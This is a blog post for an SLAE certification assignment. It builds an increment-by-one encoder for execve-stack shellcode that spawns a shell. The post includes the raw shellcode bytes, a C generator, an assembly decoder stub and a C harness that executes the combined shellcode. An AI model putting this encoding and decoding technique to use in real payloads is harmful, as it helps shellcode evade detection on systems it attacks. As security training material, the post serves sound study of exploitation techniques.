Assignment #4 SLAE Certification – Shellcode encoder

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1290

Assignment:

The assignment scope is to create a custom shellcode encoder for the execve-stack shellcode.

Initial shellcode:

The sample shellcode would be the execve-stack one.

\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
The encoder:

My custom encoder works like this: it takes each byte of the shellcode and increment it by one; so for example the first byte 0x31 would become 0x32, the second byte 0xc0 -> 0xc1, the sixth byte 0x61 -> 0x62 etc…

There is a control, to prevent the case when adding 1 to the byte, it becomes a null byte (The only case is when the primary byte is 0xff); whenever this happens, the byte is manually set to one. During the decoding phase, the 0x1 bytes are then decremented twice to get 0xff back. The decoding phase is pretty simple: the decoder iterates through all the shellcode bytes and decrement them by one ( Always taking into account the 0x1 case).

The generator:

I wrote a small C program that allows to generate encoded shellcodes based on the above schema.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char *shellcode = "\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc,char *argv[]){
	unsigned char *char_ptr = (char *)shellcode;
	unsigned char val = 'x';
	int i = 1;
	printf("Original Shellcode:");
	while(*char_ptr != '\0'){
		val = *char_ptr;
		printf("\\x%02x",val);
		char_ptr++;
	}
	printf("\n");
	char_ptr = shellcode;
	printf("Encoded Shellcode: ");
	while(*char_ptr != '\0'){
		val = *char_ptr;
		val++;
		if(val == 0)
			val = 1;
		printf("\\x%02x",val);
		char_ptr++;
		i++;
	}
	printf("\n");
}

Using the execve-stack shellcode, this program generates:

\x32\xc1\x51\x69\x63\x62\x74\x69\x69\x63\x6a\x6f\x30\x69\x30\x30\x30\x30\x8a\xe4\x51\x8a\xe3\x54\x8a\xe2\xb1\x0c\xce\x81
The decoder shellcode:

This is the decoder shellcode, which iterates through the encoded one and decodes each byte.

global _start

section .text
_start:
	jmp short call_shellcode
decoder:
	pop esi
	xor ebx,ebx
	xor ecx,ecx
	; moving length of shellcode in cl
	mov cl,length
decode:
	; moving current shellcode byte to bl
	mov bl,byte[esi]
decrement:
	dec bl
	; zero-check
	jz short decrement
	;moving updated byte to shellcode
	mov byte [esi],bl
	inc esi
	loop decode
	jmp short encodedsc
	
call_shellcode:
	call decoder
	encodedsc: db 0x32,0xc1,0x51,0x69,0x63,0x62,0x74,0x69,0x69,0x63,0x6a,0x6f,0x30,0x69,0x30,0x30,0x30,0x30,0x8a,0xe4,0x51,0x8a,0xe3,0x54,0x8a,0xe2,0xb1,0x0c,0xce,0x81
	length equ $-encodedsc

Let’s dump the shellcode and try it using our shellcode template.

\xeb\x14\x5e\x31\xdb\x31\xc9\xb1\x1e\x8a\x1e\xfe\xcb\x74\xfc\x88\x1e\x46\xe2\xf5\xeb\x05\xe8\xe7\xff\xff\xff\x32\xc1\x51\x69\x63\x62\x74\x69\x69\x63\x6a\x6f\x30\x69\x30\x30\x30\x30\x8a\xe4\x51\x8a\xe3\x54\x8a\xe2\xb1\x0c\xce\x81
#include <stdio.h>
#include <string.h>

unsigned char code[] = "\xeb\x14\x5e\x31\xdb\x31\xc9\xb1\x1e\x8a\x1e\xfe\xcb\x74\xfc\x88\x1e\x46\xe2\xf5\xeb\x05\xe8\xe7\xff\xff\xff\x32\xc1\x51\x69\x63\x62\x74\x69\x69\x63\x6a\x6f\x30\x69\x30\x30\x30\x30\x8a\xe4\x51\x8a\xe3\x54\x8a\xe2\xb1\x0c\xce\x81"
;

main()
{
	printf("Shellcode lenght: %d\n",strlen(code));
	int (*ret)() = (int(*)())code;
	ret();

}

 

 

Share it